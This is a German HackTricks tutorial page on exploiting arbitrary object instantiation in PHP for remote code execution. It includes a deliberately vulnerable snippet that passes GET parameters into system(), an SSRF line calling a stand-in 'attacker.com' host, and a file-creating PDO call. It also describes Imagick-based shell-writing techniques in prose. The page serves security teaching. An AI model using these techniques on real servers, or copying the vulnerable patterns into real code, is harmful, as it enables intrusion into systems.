# PHP - RCE Missbrauch der Objekterstellung: new $\_GET\["a"]\($\_GET\["b"])
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
Dies ist im Wesentlichen eine Zusammenfassung von [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Einführung Die Erstellung neuer beliebiger Objekte, wie z.B. `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**Writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detailliert beschrieben. Dieses Dokument zeigt verschiedene Strategien zur Erreichung von RCE auf. ## RCE über benutzerdefinierte Klassen oder Autoloading Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Zeichenketten oder Arrays sein können, oder aus JSON, wo sie als andere Typen vorliegen können. Betrachten Sie den folgenden Codeausschnitt: ```php class App { function __construct ($cmd) { system($cmd); } } class App2 { function App2 ($cmd) { system($cmd); } } $a = $_GET['a']; $b = $_GET['b']; new $a($b); ``` In diesem Fall führt das Setzen von `$a` auf `App` oder `App2` und `$b` auf einen Systembefehl (z. B. `uname -a`) zur Ausführung dieses Befehls. **Autoloading-Funktionen** können ausgenutzt werden, wenn keine solchen Klassen direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit `spl_autoload_register` oder `__autoload` definiert: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; }); function __autoload($class_name) { include $class_name . '.php'; }; spl_autoload_register(); ``` Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet verschiedene Möglichkeiten für RCE. ## RCE über integrierte Klassen Fehlen benutzerdefinierter Klassen oder Autoloader, können **integrierte PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen variiert je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit `get_declared_classes()` aufgelistet werden. Interessante Konstruktoren können mithilfe der Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt. **RCE über bestimmte Methoden umfasst:** ### **SSRF + Phar-Deserialisierung** Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und ermöglicht Verbindungen zu beliebigen URLs: ```php new SplFileObject('http://attacker.com/'); ``` SSRF kann zu Deserialisierungsangriffen in PHP-Versionen vor 8.0 führen, indem das Phar-Protokoll verwendet wird. ### **Ausnutzen von PDOs** Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Zeichenketten und ermöglicht potenziell die Erstellung von Dateien oder andere Interaktionen: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die Konstruktoren `SoapClient` und `SimpleXMLElement`, abhängig von der Version von libxml2. ## RCE über Imagick-Erweiterung Bei der Analyse der **Abhängigkeiten eines Projekts** wurde festgestellt, dass **Imagick** für die **Befehlsausführung** genutzt werden kann, indem neue Objekte instanziiert werden. Dadurch ergeben sich Möglichkeiten zur Ausnutzung von Schwachstellen. ### VID-Parser Es wurde festgestellt, dass der VID-Parser Inhalte in einem beliebigen angegebenen Pfad im Dateisystem schreiben kann. Dadurch kann eine PHP-Shell in einem webzugänglichen Verzeichnis platziert werden, um Remote Code Execution (RCE) zu erreichen. #### VID-Parser + Datei-Upload Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick kann mit dem **msl**-Protokoll Platzhalter in Dateipfaden verarbeiten, um die temporäre Datei an einen ausgewählten Ort zu übertragen. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben. ### PHP-Crash + Brute Force Eine Methode, die in der [**ursprünglichen Beschreibung**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben wird, beinhaltet das Hochladen von Dateien, die einen Serverabsturz verursachen, bevor sie gelöscht werden. Durch Brute-Force des Namens der temporären Datei wird es Imagick ermöglicht, beliebigen PHP-Code auszuführen. Diese Technik ist jedoch nur in einer veralteten Version von ImageMagick wirksam. ## Referenzen * [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.